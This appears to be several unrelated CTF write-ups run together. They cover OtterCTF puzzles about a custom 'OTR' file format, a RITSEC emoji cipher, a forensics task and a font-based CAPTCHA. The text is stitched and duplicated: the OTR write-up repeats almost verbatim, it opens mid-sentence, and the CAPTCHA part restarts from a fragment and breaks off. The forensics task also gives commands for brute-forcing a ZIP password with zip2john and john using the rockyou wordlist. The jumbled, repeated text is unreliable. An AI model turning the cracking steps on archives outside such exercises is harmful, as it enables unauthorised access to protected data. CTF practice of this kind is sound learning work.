- Section Name: alphanumeric with `\x00` padding- Data Length: little endian format. `e8020000` => `0xe8 + 0x02 * 0x100 = 744`- CRC32: actually this had two formats. `686b7560 01000000` and `686b7560 00000000`. `crc32_type1 == -zlib.crc32(data) and crc32_type0 == 0x10000000 - zlib.crc32(data)`- Uppercase flag: i named it header in `parse.py`.- data: base64 for all sections except for `OTHER`. used the magical `if`
we had this section for otr7```'name': 'OTHER\x00\x00\x00','crc32': 408173329,'crc32_type': 1,'uppercase_flag': '\x82I\x00','data': 'wh3r3_is_my_plum8u5\x00\x00\x00\x00\x00'```
the uppercase flag is `\x82I\x00` which is equal to `10000010 01001001 00000000`
```100000100100100100000000wh3r3_is_my_plum8u5------------------------Wh3r3_Is_My_PluM8u5```
tadaa. uppercase flag decryptor. ok general overview is over.
to solve this task, i actually wasn't able to decode the format (yet). but i understood how the section name was formed. task description said " look for lutra in leet". so in this case it would be "lutra\x00\x00\x00". 3 null bytes padding. used a hamming distance to check (maybe it still has u or r). also checked if it printable and that the length should be > 0. found it quickly enough by analyzing the found names.
```bash$ python2 solve1.py...otr/1275046872ee1058329b79438b14b5dc.otr Rhprotr/1275046872ee1058329b79438b14b5dc.otr vuMQfotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr OXtmaotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Dftiotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr lkwHotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Rztyotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr kUerlotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr XbHrhotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr nuy=otr/a358f694d1e5113ccd1a9ad7f1385549.otr Lu7r4otr/bf6782f225c82a4906075c1fb1842b51.otr FKtMgotr/bf6782f225c82a4906075c1fb1842b51.otr JUyFaotr/bf6782f225c82a4906075c1fb1842b51.otr bvcrotr/2701a122bbae3770daac5460683b1e30.otr aupootr/2701a122bbae3770daac5460683b1e30.otr NAtJ...$ # CTF{a358f694d1e5113ccd1a9ad7f1385549}```
# OTR 6 - The Path To Rick```OTR 6 - The Path To Rick150Rick hid his drive path in one of the sections - we got some intel and found out his drive is N:. Whats the section name where the data is hidden?
format: CTF{flag}```
NO WAY IT WAS SOLVED WITH THAT BASH SCRIPT BELOW. well yes. and it helped me to understand the format better. here is where i got the idea that `len(uppercase_flag) == len(data)/8` and after a bit i understood how to decrypt it. by just watching the logs form. lots of logs on this one :))
also if you want to see a failed try, check the `main.py`. i first thought the drive path would be in the data segment. no way it would be in the `uppercase_flag`.
```bashfor v in `grep -r 'N\:' otr | awk '{print $3}'`; do echo $v xxd $v | grep -C10 'N:' echodone```
# OTR 5 - Wrong Place, Wrong Time```OTR 5 - Wrong Place, Wrong Time100One of the files got the wrong time of creation. What is the wrong date?
If you extracted the files from the zip use modified time instead.
format: CTF{HH:MM:SS DD/MM/YYYY at Jerusalem local time}```
this took me a bit to figure out. the thing is, some do differ in creation time by 1 second. i had to rule that out. and others by 3600 seconds. ruling that out too. then some by 3601. finally i got the flag.
```bash$ python2 solve5.py...1270 otr/a903e65bd79e3c2cdbcbf5cc51478147.otr1271 otr/44b2f36604d1ca6ff7f0d6b46f95c85d.otr44b2f36604d1ca6ff7f0d6b46f95c85dCTF{08:27:12 15/08/1995}
```
# OTR 7 - Wrong Calculation```OTR 7 - Wrong Calculation100FInd the description of the file with the wrong md5. The flag is case sensitive so you got to use the "uppercase flag" in order to get the correct answer.
format: CTF{flag}```
explanation way above for the uppercase decryption. also in source of solve.py
```bash$ python2 solve.py...642 otr/e3c991061dcd0add2f669be17bf8539d.otre3c991061dcd0add2f669be17bf8539d{'header_length': 3, 'name': 'OTHER\x00\x00\x00', 'data_length': 24, 'length': 47, 'header': '\x82I\x00', 'actual_crc32': 408173329, 'crc32': 408173329, 'crc32_type': 1, 'data': 'Wh3r3_Is_My_PluM8u5\x00\x00\x00\x00\x00'}```
# OTR 2 - Incorrect CRC```OTR 2 - Incorrect CRC150Second mission: Rick copied the CRC of one of the sections in a certain file to another section. What is the name of the original section with the right CRC?
format: CTF{flag}```
I wish my solution was as slick as the solution shown below. First of all, I was under the impression that Rick copied the CRC of one of the sections in the same file. So I put up some asserts and when it raised, I checked the file. No luck, both times, because the crc was from another file. That was my next tought, so i just searched for the crc in all files.
```bash$ python2 solve2.py0got otr/e0e4b95aac5365c800f304a31985889a.otr[*] crc32 data: c7c455e1[*] actual crc32: a6688248
100200300400500600700got otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr[*] crc32 data: f8ad0ba4[*] actual crc32: b8cfe1ab
8009001000110012001300140095 otr/724e1a24829f6132086473a41ff5ba51.otrrryt\x00\x00\x00\x00
688 otr/724e1a24829f6132086473a41ff5ba51.otrM0r7y9uy
728 otr/724e1a24829f6132086473a41ff5ba51.otrWSkr\x00\x00\x00\x00$ # CTF{M0r7y9uy}```
# OTR 3 - Up And Down```OTR 3 - Up And Down200Rick hid some data in the lower\upper part of a section, but that fucked up the real data, could you find it?```
I was hoping to solve OTR4 by doing this. So I decrypted everything and put it in folders. it's quite fast. because i can use grep easily on them. no OTR4 but looking at the task description for this one i got the idea that the section might look weird ("that fucked up the real data"). so i went searching for anything out of the ordinary and got lucky to find just one file with non printable characters.
```bash$ python2 solve4.py$ grep '[^[:print:]]' -r decodedBinary file decoded/d6a4a2ebd4f6418c3b064de26cc06a12/3_WSkr matches$ xxd ./otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr | grep -A20 WSkr00000da0: 0057 536b 7200 0000 00c0 0400 00a4 0bad .WSkr...........00000db0: f800 0000 00fc fecf ce3c eba2 f6ae ceee .........<......00000dc0: f80e 9eac ecee beee ee7c e82e ffea fcee .........|......00000dd0: 0fb8 6ccc 4300 0054 0000 4600 007b 0000 ..l.C..T..F..{..00000de0: 4400 0030 0000 7500 0062 0000 6c00 0065 D..0..u..b..l..e00000df0: 0000 5f00 0050 0000 3400 0064 0000 4400 .._..P..4..d..D.00000e00: 0021 0000 6e00 0039 0000 5f00 0046 0000 .!..n..9.._..F..00000e10: 5400 0057 0000 2100 007d 0000 4c8e bf9e T..W..!..}..L...00000e20: 335f f662 eaad 6fd4 acea dead 2200 8c72 3_.b..o....."..r00000e30: a6ee 0e6c d97c 6b3f 653b ee22 eacd faea ...l.|k?e;."....00000e40: 6efc 2f0a fe3f 3dfd 7c4e 2eaf 6c6f 6476 n./..?=.|N..lodv00000e50: 7077 756f 2f69 6472 6776 6866 6a6f 6468 pwuo/idrgvhfjodh00000e60: 767a 7362 6576 7777 2f69 6772 7264 7962 vzsbevww/igrrdyb00000e70: 6569 6573 2f72 787a 7573 317a 6f72 7a76 eies/rxzus1zorzv00000e80: 3264 7962 3069 6362 6c65 6362 7571 6a6a 2dyb0icblecbuqjj00000e90: 3172 7361 317a 656f 6775 7771 676f 6765 1rsa1zeoguwqgoge00000ea0: 6769 6861 6775 7476 6f7a 6c6b 6763 6d67 gihagutvozlkgcmg00000eb0: 676a 6672 3579 3064 7669 6365 7973 7962 gjfr5y0dviceysyb00000ec0: 7269 6667 6769 6361 7771 7438 6769 6475 rifggicawqt8gidu00000ed0: 6769 6362 6b75 6e72 6873 6679 3169 666a gicbkunrhsfy1ifj00000ee0: 7869 687a 756e 7679 337a 7361 2f61 6466 xihzunvy3zsa/adf$ # CTF{D0uble_P4dD!n9_FTW!}```
# OTR 4 - Citadel Of Ricks Location```OTR 4 - Citadel Of Ricks Location300Rick hid the coordinates of the Citadel Of Ricks in the data section of some file. You will need to use the Uppercase flag to decrypt it.
What is the cover name of the citadel?
format: CTF{flag}```
if you solved it, please hit me up. i offer beer in exchange of a writeup. |
# Otter CTF
I had a blast participating in otter ctf last weekend. I think the challenges are still up at [https://otterctf.com/](https://otterctf.com/)
# OTR 1 - Find The Lutra```OTR 1 - Find The Lutra100Rick created this new format of file called OTR (stands for otter). Help us find all the hidden data in this massive zip file.
We found a diagram of the structure, we hope it will help.
Your first mission is to find the name of the file who has a section named lutra in leet.
format: CTF{flag}```
Weird format. I had to understand this weird format. Well i had some time to spare and it looked like lots of fun. so I dug in.
magic header, number of sections. you get all that jazz. ez. (check out parse.py) but i got stuck on the sections. because at first I tought that the length was wrong. somehow. so i coded a part where I was looking for the `\x00` padding.
mhhm i can explain it better with an image. look down
```bashxxd otr/00284fd21810fdc4bb3e3b1440e85d8e.otr | head -n 20```
- Section Name: alphanumeric with `\x00` padding- Data Length: little endian format. `e8020000` => `0xe8 + 0x02 * 0x100 = 744`- CRC32: actually this had two formats. `686b7560 01000000` and `686b7560 00000000`. `crc32_type1 == -zlib.crc32(data) and crc32_type0 == 0x10000000 - zlib.crc32(data)`- Uppercase flag: i named it header in `parse.py`.- data: base64 for all sections except for `OTHER`. used the magical `if`
we had this section for otr7```'name': 'OTHER\x00\x00\x00','crc32': 408173329,'crc32_type': 1,'uppercase_flag': '\x82I\x00','data': 'wh3r3_is_my_plum8u5\x00\x00\x00\x00\x00'```
the uppercase flag is `\x82I\x00` which is equal to `10000010 01001001 00000000`
```100000100100100100000000wh3r3_is_my_plum8u5------------------------Wh3r3_Is_My_PluM8u5```
tadaa. uppercase flag decryptor. ok general overview is over.
to solve this task, i actually wasn't able to decode the format (yet). but i understood how the section name was formed. task description said " look for lutra in leet". so in this case it would be "lutra\x00\x00\x00". 3 null bytes padding. used a hamming distance to check (maybe it still has u or r). also checked if it printable and that the length should be > 0. found it quickly enough by analyzing the found names.
```bash$ python2 solve1.py...otr/1275046872ee1058329b79438b14b5dc.otr Rhprotr/1275046872ee1058329b79438b14b5dc.otr vuMQfotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr OXtmaotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Dftiotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr lkwHotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Rztyotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr kUerlotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr XbHrhotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr nuy=otr/a358f694d1e5113ccd1a9ad7f1385549.otr Lu7r4otr/bf6782f225c82a4906075c1fb1842b51.otr FKtMgotr/bf6782f225c82a4906075c1fb1842b51.otr JUyFaotr/bf6782f225c82a4906075c1fb1842b51.otr bvcrotr/2701a122bbae3770daac5460683b1e30.otr aupootr/2701a122bbae3770daac5460683b1e30.otr NAtJ...$ # CTF{a358f694d1e5113ccd1a9ad7f1385549}```
# OTR 6 - The Path To Rick```OTR 6 - The Path To Rick150Rick hid his drive path in one of the sections - we got some intel and found out his drive is N:. Whats the section name where the data is hidden?
format: CTF{flag}```
NO WAY IT WAS SOLVED WITH THAT BASH SCRIPT BELOW. well yes. and it helped me to understand the format better. here is where i got the idea that `len(uppercase_flag) == len(data)/8` and after a bit i understood how to decrypt it. by just watching the logs form. lots of logs on this one :))
also if you want to see a failed try, check the `main.py`. i first thought the drive path would be in the data segment. no way it would be in the `uppercase_flag`.
```bashfor v in `grep -r 'N\:' otr | awk '{print $3}'`; do echo $v xxd $v | grep -C10 'N:' echodone```
# OTR 5 - Wrong Place, Wrong Time```OTR 5 - Wrong Place, Wrong Time100One of the files got the wrong time of creation. What is the wrong date?
If you extracted the files from the zip use modified time instead.
format: CTF{HH:MM:SS DD/MM/YYYY at Jerusalem local time}```
this took me a bit to figure out. the thing is, some do differ in creation time by 1 second. i had to rule that out. and others by 3600 seconds. ruling that out too. then some by 3601. finally i got the flag.
```bash$ python2 solve5.py...1270 otr/a903e65bd79e3c2cdbcbf5cc51478147.otr1271 otr/44b2f36604d1ca6ff7f0d6b46f95c85d.otr44b2f36604d1ca6ff7f0d6b46f95c85dCTF{08:27:12 15/08/1995}
```
# OTR 7 - Wrong Calculation```OTR 7 - Wrong Calculation100FInd the description of the file with the wrong md5. The flag is case sensitive so you got to use the "uppercase flag" in order to get the correct answer.
format: CTF{flag}```
explanation way above for the uppercase decryption. also in source of solve.py
```bash$ python2 solve.py...642 otr/e3c991061dcd0add2f669be17bf8539d.otre3c991061dcd0add2f669be17bf8539d{'header_length': 3, 'name': 'OTHER\x00\x00\x00', 'data_length': 24, 'length': 47, 'header': '\x82I\x00', 'actual_crc32': 408173329, 'crc32': 408173329, 'crc32_type': 1, 'data': 'Wh3r3_Is_My_PluM8u5\x00\x00\x00\x00\x00'}```
# OTR 2 - Incorrect CRC```OTR 2 - Incorrect CRC150Second mission: Rick copied the CRC of one of the sections in a certain file to another section. What is the name of the original section with the right CRC?
format: CTF{flag}```
I wish my solution was as slick as the solution shown below. First of all, I was under the impression that Rick copied the CRC of one of the sections in the same file. So I put up some asserts and when it raised, I checked the file. No luck, both times, because the crc was from another file. That was my next tought, so i just searched for the crc in all files.
```bash$ python2 solve2.py0got otr/e0e4b95aac5365c800f304a31985889a.otr[*] crc32 data: c7c455e1[*] actual crc32: a6688248
100200300400500600700got otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr[*] crc32 data: f8ad0ba4[*] actual crc32: b8cfe1ab
8009001000110012001300140095 otr/724e1a24829f6132086473a41ff5ba51.otrrryt\x00\x00\x00\x00
688 otr/724e1a24829f6132086473a41ff5ba51.otrM0r7y9uy
728 otr/724e1a24829f6132086473a41ff5ba51.otrWSkr\x00\x00\x00\x00$ # CTF{M0r7y9uy}```
# OTR 3 - Up And Down```OTR 3 - Up And Down200Rick hid some data in the lower\upper part of a section, but that fucked up the real data, could you find it?```
I was hoping to solve OTR4 by doing this. So I decrypted everything and put it in folders. it's quite fast. because i can use grep easily on them. no OTR4 but looking at the task description for this one i got the idea that the section might look weird ("that fucked up the real data"). so i went searching for anything out of the ordinary and got lucky to find just one file with non printable characters.
```bash$ python2 solve4.py$ grep '[^[:print:]]' -r decodedBinary file decoded/d6a4a2ebd4f6418c3b064de26cc06a12/3_WSkr matches$ xxd ./otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr | grep -A20 WSkr00000da0: 0057 536b 7200 0000 00c0 0400 00a4 0bad .WSkr...........00000db0: f800 0000 00fc fecf ce3c eba2 f6ae ceee .........<......00000dc0: f80e 9eac ecee beee ee7c e82e ffea fcee .........|......00000dd0: 0fb8 6ccc 4300 0054 0000 4600 007b 0000 ..l.C..T..F..{..00000de0: 4400 0030 0000 7500 0062 0000 6c00 0065 D..0..u..b..l..e00000df0: 0000 5f00 0050 0000 3400 0064 0000 4400 .._..P..4..d..D.00000e00: 0021 0000 6e00 0039 0000 5f00 0046 0000 .!..n..9.._..F..00000e10: 5400 0057 0000 2100 007d 0000 4c8e bf9e T..W..!..}..L...00000e20: 335f f662 eaad 6fd4 acea dead 2200 8c72 3_.b..o....."..r00000e30: a6ee 0e6c d97c 6b3f 653b ee22 eacd faea ...l.|k?e;."....00000e40: 6efc 2f0a fe3f 3dfd 7c4e 2eaf 6c6f 6476 n./..?=.|N..lodv00000e50: 7077 756f 2f69 6472 6776 6866 6a6f 6468 pwuo/idrgvhfjodh00000e60: 767a 7362 6576 7777 2f69 6772 7264 7962 vzsbevww/igrrdyb00000e70: 6569 6573 2f72 787a 7573 317a 6f72 7a76 eies/rxzus1zorzv00000e80: 3264 7962 3069 6362 6c65 6362 7571 6a6a 2dyb0icblecbuqjj00000e90: 3172 7361 317a 656f 6775 7771 676f 6765 1rsa1zeoguwqgoge00000ea0: 6769 6861 6775 7476 6f7a 6c6b 6763 6d67 gihagutvozlkgcmg00000eb0: 676a 6672 3579 3064 7669 6365 7973 7962 gjfr5y0dviceysyb00000ec0: 7269 6667 6769 6361 7771 7438 6769 6475 rifggicawqt8gidu00000ed0: 6769 6362 6b75 6e72 6873 6679 3169 666a gicbkunrhsfy1ifj00000ee0: 7869 687a 756e 7679 337a 7361 2f61 6466 xihzunvy3zsa/adf$ # CTF{D0uble_P4dD!n9_FTW!}```
# OTR 4 - Citadel Of Ricks Location```OTR 4 - Citadel Of Ricks Location300Rick hid the coordinates of the Citadel Of Ricks in the data section of some file. You will need to use the Uppercase flag to decrypt it.
What is the cover name of the citadel?
format: CTF{flag}```
if you solved it, please hit me up. i offer beer in exchange of a writeup. |
[https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/ReadMe/readme.md](https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/ReadMe/readme.md) |
# Nobody uses the eggplant emoji
## Challenge Description
The challenge was in the crypto category. We got a .txt file with a long string of emoji characters.
Part of the supplied ciphertext.
The first thought we hade was to do a simple freqency analysis on the text to see if we got the plaintext, which we didn't. In hindsight we should have tested for Ceasar cipher first.
## The attackAs we thought it was a frequency analysis, we wrote a simple python script which put all the emojis in a sorted dictionary and compared with the ETAOIN-string.
``` python# -*- encoding: utf-8 -*-# **** Python3 *******
from collections import OrderedDictfrom operator import itemgetter
string = "??????????????????✅????✅??????????????????✅?????????????????✅?????????✅???????????????????????????????????????????✅??????????????????????✅??????????????????????????????????????????✅????????????✅????_?✅_??✅?????_???????_???_???✅??_?_?????✅?????"
unicode_arr = []
# Converting the emojis to unicode, U+xxxxxfor i in string: unicode_arr.append('U+{:X}'.format(ord(i)))
freq_list = []moji_map = {}
# Initialising the dictionary with zerosfor i in unicode_arr: moji_map[i] = 0
# Putting the number of freq in the dict for i in unicode_arr: if i in freq_list: moji_map[i]+=1 else: freq_list.append(i)
# Sorting the dictionary after values.ordered = OrderedDict(sorted(moji_map.items(), key = itemgetter(1), reverse = True))
# We suspected that space would be the most common char. So we created two stringsETAOIN = 'ETAOINSHRDLCUMWFGYPBVKJXQZ'etaoin2 = ' ETAOINSHRDLCUMWFGYPBVKJXQZ'
# Converting from OrderedDict object to a list. Bad code...ordered_string = []for i in ordered: ordered_string.append(i)
decoded = ""decoded2 = ""for i in unicode_arr: etaoin_index = ordered_string.index(i) try: decoded += ETAOIN[etaoin_index] decoded2 += etaoin2[etaoin_index] except: decoded += '?' decoded2 += '?'
print(decoded)print ("")print (decoded2)
#HUEMOREILHCQEMOREASTEDOSILMEOUEILTEUWAPEUHSNIEMOREBRNIEACNDTSEILTNTEILSTTEVRTNIHOCNKEDLAIEHNEMORECABTJEDLAIEHNEMORSEVRTNIJEDLAIEHNEILTEAHSENXTTGEZTWOYHIMEOUEACERCWAGTCENDAWWODKEMORSEUWAPEHN?EAUSHYACFOSFTRSOXTACFNDAWWODFDODFILTSTNFAFGHUUTSTCYTE
#SC UAH ODSLX UAH TNE RANODU AC ODE CMTY CSNIO UAH PHIO TLIREN ODEIE ODNEE BHEIOSALIV RDTO SI UAH LTPEK RDTO SI UAHN BHEIOK RDTO SI ODE TSN IJEEF QEMAGSOU AC TL HLMTFEL IRTMMARV UAHN CMTY SI? TCNSGTLWANWEHNAJETLWIRTMMARWRARWODENEIWTWFSCCENELGE ```
So, the output was just gibberish. We knew that our code was wrong so we just put the second string in quip quip to see if we got anything.
We saw that the quote resembled a parts from a famous Monthy Python quote.
*Your flag is: african or european swallow wow theres a difference*
We tried: **RITSEC{african_or_european_swallow_wow_theres_a_difference}** which proved to be correct.
So an ugly solution to the problem. But nonetheless a flag and 200 points. |
We've used this regular expression for searching in decrypted (base64) data:`re.search('[0-9][0-9]\.[0-9][0-9][0-9][0-9][0-9]', txt)`
Full python code for traversing otr files:
```import os, hashlib, zlib, base64, re
def crc32(txt): return zlib.crc32(txt)% 2**32
def readInt4(num): return ord(num[0]) + (ord(num[1]) << 8) + (ord(num[2]) << 16) + (ord(num[3]) << 24) def readFlag(data, offset, length): flag = [] for i in range(length/8): f = ord(data[offset+i]) for j in range(8): if (f & (1 << 8 - j - 1)) != 0: flag.append(True) else: flag.append(False) return flag
def applyFlag(txt, flag): out = '' for i in range(len(flag)): if flag[i]: out += txt[i].upper() else: out += txt[i] return out def readSection(fname, data, offset, descOffset): isDesc = descOffset == offset name = data[offset:offset+8] offset += 8 length = readInt4(data[offset:offset+4]) offset += 4 crcFlag = readInt4(data[offset:offset+4]) offset += 4 crcData = readInt4(data[offset:offset+4]) offset += 4 flagTxt = data[offset:offset+length/8] dataFull = data[offset:offset+length/8+length] flag = readFlag(data, offset, length) offset += length / 8
txt = data[offset:offset+length] crc = 1 + (crc32(dataFull) ^ 0xFFFFFFFF) if not isDesc: txt = applyFlag(txt, flag) txt = base64.b64decode(txt) if re.search('[0-9][0-9]\.[0-9][0-9][0-9][0-9][0-9]', txt) != None: print txt return offset + length
def readotr(fname): data = open(fname, 'rb').read() magic = data[:6] if magic != '\x30\x74\x74\x33\x72\x1a': raise Exception('otr') sections = readInt4(data[6:10]) descOffset = readInt4(data[10:14]) creation = readInt4(data[14:18]) #readSection(fname, data, offset) # description offset = 18 for i in range(sections): offset = readSection(fname, data, offset, descOffset)
def md5(fname): hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest()
for f in sorted(os.listdir('otr/')): fname = 'otr/'+f readotr(fname)```
Output:`41.74664519820109, -74.08989937955397 - I'm pretty hungry...`
Google it - there is the Gilded Otter restaurant
The flag is:
`CTF{GILDED OTTER}` |
## Burn The Candle On Both Ends - Forensics 150:
**Description:** It's a two step problem **Challenge:** candle.jpg **Difficulty:** Easy **Solved by:** Eric & Tahar
**Solution:** Downloaded the challenge file and used the **file** command in the Linux terminal to identify it! It was a normal JPG Image! By using the famous forensics toolkit **Binwalk** we find an interesting ZIP file embeded into the main challenge file! ```binwalk candle.jpg```
We start by extracting that ZIP file from the challenge file, we have too many tricks to do that, we can use a **Hex Editor** and get out the hex data into a new zip file or we can use **DD** or just the same toolkit **Binwalk** or by using **Foremost** (another well known digital forensics tool). By using **Binwalk** we use the following command: ```binwalk -e candle.jpg```
After, that we got an **Encrypted ZIP Archive**, the description did not say anything, but it mentioned that this a Two Step challenge, so we done the first step which is extracting the Hidden ZIP File! And the second step is probably bruteforcing that ZIP Archive!!
We use the well known **Rockyou Wordlist** to bruteforce the ZIP Archive, **fcrackzip** did not work, so we thought about using another well known toolkit under the name of **John The Ripper** it is a well known password & hash cracking toolkit! We used a toolkit **zip2john** to get the hash of that ZIP Archive using the command: ```zip2john archive.zip > hash.txt```
Then, we got a HASH, time to crack it using **Rockyou & John**. We run the following command to launch the **BruteForce Attack**: ``` john --wordlist=rockyou.txt --format=zip hash.txt```
Successsful Attack, password: **stegosaurus**
Now, it is time to grab the flag by extracting the **flag.txt** file from the Decrypted ZIP Archive =)
**Flag:** RITSEC{8U51N355–1N-7H3-Fr0N7-P4r7Y-1N-7H3–84CK} |
# C8: CAPTCHA
**Author:** Hrishikesh Hiraskar
```Charvises (the native species which lived on Charvis 8HD before the first settlers arrived) were very good at math. In a surprising symbiosis relationship between humans and Charvises, it was agreed that the Charvises would be responsible for C8.
Can you pass their CAPTCHA (Completely Automated Public Turing Test to tell Charvises and Humans Apart)? ```
The problem gives us with a web page that looks like this:
The problem is straight forward. Evaluate the given equation and submit the result.
Let's have a look the source of the equation.
```html HHHHQ j HHHHi j yL r EL j HHB j KL s hLL s HHi r HHHP j EL r KL r hLL j Hin s hLLLL r PL s HHQ s Hy r Hin s KLLL r HHP s BL r HQ s ELLLL s HHHHP r HHi s HP r yLL r hLL s HE j HHin j BL j HK r eLLLL s HHHHh j HHHE j QL s QL s eLL j HHe s KL r BLL r PL j He j HE r HB s hLLLLL j He r HHin s BL j hLLLL```
HHHHQ j HHHHi j yL r EL j HHB j KL s hLL s HHi r HHHP j EL r KL r hLL j Hin s hLLLL r PL s HHQ s Hy r Hin s KLLL r HHP s BL r HQ s ELLLL s HHHHP r HHi s HP r yLL r hLL s HE j HHin j BL j HK r eLLLL s HHHHh j HHHE j QL s QL s eLL j HHe s KL r BLL r PL j He j HE r HB s hLLLLL j He r HHin s BL j hLLLL
What? Looks like they have mapped numbers and operators with letters. The interesting fact was this mapping was random, one can see the changing letters on each reload of page.
How are these mappings done? The `` tag was using a font called `DigitalRightsDoneRight`. On checking css, we got to know that it was loaded using `base64` ttf font.
```css@font-face{font-family: DigitalRightsDoneRight;src:url('data:application/font-ttf;charset=utf-8;base64,AAEAAA...```
A search on ttf fonts led me to [An Introduction to TrueType Fonts: A look inside the TTF format](https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=iws-chapter08). It introduced me to two concepts in ttf fonts:
+ **Glyph Id**: A unique id for a character+ **cmap**: A table that maps Glyph Id to character
I extracted the base64 ttf font from the page source and decoded it and stored it in a file. But this file is binary and not readable (See [font.ttf](font.ttf) for example).
Then I searched for python libraries to manipulate ttf fonts. I found [FontTools](https://pypi.org/project/FontTools/), which had a nice tool to convert ttf to ttx, and xml version of fonts. So, I converted our `font.ttf` to [font.ttx](font.ttx).
After opening the ttx, we get our `cmap`:
```xml<cmap_format_4 platformID="0" platEncID="3" language="0"> <map code="0x42" name="glyph00013"/> <map code="0x45" name="glyph00008"/> <map code="0x48" name="glyph00002"/> <map code="0x4b" name="glyph00003"/> <map code="0x4c" name="glyph00005"/> <map code="0x50" name="glyph00009"/> <map code="0x51" name="glyph00012"/> <map code="0x65" name="glyph00014"/> <map code="0x68" name="glyph00011"/> <map code="0x69" name="glyph00010"/> <map code="0x6a" name="glyph00001"/> <map code="0x6e" name="glyph00015"/> <map code="0x72" name="glyph00006"/> <map code="0x73" name="glyph00004"/> <map code="0x79" name="glyph00007"/></cmap_format_4>```
It also has the ascii letter the glyph id is mapped to. So, here's how the whole mapping is done:
+ Number/Operator -> glyph id+ glyph id -> letter
We thought there was a static mapping from these numbers and operators to glyph ids. We spent a good amount of time figuring out this mapping only to find out that this mapping was also random.
Then spending some time in ttx file, we got a width table as follows:
```xml<hmtx> <mtx name="glyph00000" width="0" lsb="0"/> <mtx name="glyph00001" width="540" lsb="0"/> <mtx name="glyph00002" width="340" lsb="0"/> <mtx name="glyph00003" width="605" lsb="0"/> <mtx name="glyph00004" width="540" lsb="0"/> <mtx name="glyph00005" width="340" lsb="0"/> <mtx name="glyph00006" width="540" lsb="0"/> <mtx name="glyph00007" width="586" lsb="0"/> <mtx name="glyph00008" width="591" lsb="0"/> <mtx name="glyph00009" width="604" lsb="0"/> <mtx name="glyph00010" width="447" lsb="0"/> <mtx name="glyph00011" width="587" lsb="0"/> <mtx name="glyph00012" width="556" lsb="0"/> <mtx name="glyph00013" width="557" lsb="0"/> <mtx name="glyph00014" width="583" lsb="0"/> <mtx name="glyph00015" width="617" lsb="0"/></hmtx>```
Each character occupies some width. This was a mapping of glyph id to width. Each of these width was unique, except `540` and `340`. `540` came thrice, so it must be the width of `+,-,*` while `340` came twice, so it must be width of brackets. Now the mapping looks like this:
+ Number/Operator -> Width+ Width -> Glyph Id+ Glyph Id -> letter
The only problem was with math operators (`+,-,*`) and the brackets. Brackets were easy, there was always an open bracket at the start and close bracket at the end. So, we directly have letter mapping to them.
For math operators, we had to again dig into ttx, fortunately there was this line:
```xml<TTGlyph name="glyph00001" xMin="0" yMin="0" xMax="444" yMax="481">```
which gave the cartesian position of the character and this was unique for each of the math operators. So, a special case mapping for math operators is:
+ Operator -> Cartesian position+ Cartesian position -> Glyph Id+ Glyph Id -> letter
Now, it was just a matter of writing the script. Also we had to send a token (embedded in html page) along with result while making the post request.
[eval.py](eval.py) gives full python script.
**Acknoledgement**
I thank @kaushiksk for helping me in writing the script.
` tag was using a font called `DigitalRightsDoneRight`. On checking css, we got to know that it was loaded using `base64` ttf font.
```css@font-face{font-family: DigitalRightsDoneRight;src:url('data:application/font-ttf;charset=utf-8;base64,AAEAAA...```
A search on ttf fonts led me to [An Introduction to TrueType Fonts: A look inside the TTF format](https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=iws-chapter08). It introduced me to two concepts in ttf fonts:
+ **Glyph Id**: A unique id for a character+ **cmap**: A table that maps Glyph Id to character
I extracted the base64 ttf font from the page source and decoded it and stored it in a file. But this file is binary and not readable (See [font.ttf](font.ttf) for example).
Then I searched for python libraries to manipulate ttf fonts. I found [FontTools](https://pypi.org/project/FontTools/), which had a nice tool to convert ttf to ttx, and xml version of fonts. So, I converted our `font.ttf` to [font.ttx](font.ttx).
After opening the ttx, we get our `cmap`:
```xml<cmap_format_4 platformID="0" platEncID="3" language="0"> <map code="0x42" name="glyph00013"/> <map code="0x45" name="glyph00008"/> <map code="0x48" name="glyph00002"/> <map code="0x4b" name="glyph00003"/> <map code="0x4c" name="glyph00005"/> <map code="0x50" name="glyph00009"/> <map code="0x51" name="glyph00012"/> <map code="0x65" name="glyph00014"/> <map code="0x68" name="glyph00011"/> <map code="0x69" name="glyph00010"/> <map code="0x6a" name="glyph00001"/> <map code="0x6e" name="glyph00015"/> <map code="0x72" name="glyph00006"/> <map code="0x73" name="glyph00004"/> <map code="0x79" name="glyph00007"/></cmap_format_4>```
It also has the ascii letter the glyph id is mapped to. So, here's how the whole mapping is done:
+ Number/Operator -> glyph id+ glyph id -> letter
We thought there was a static mapping from these numbers and operators to glyph ids. We spent a good amount of time figuring out this mapping only to find out that this mapping was also random.
Then spending some time in ttx file, we got a width table as follows:
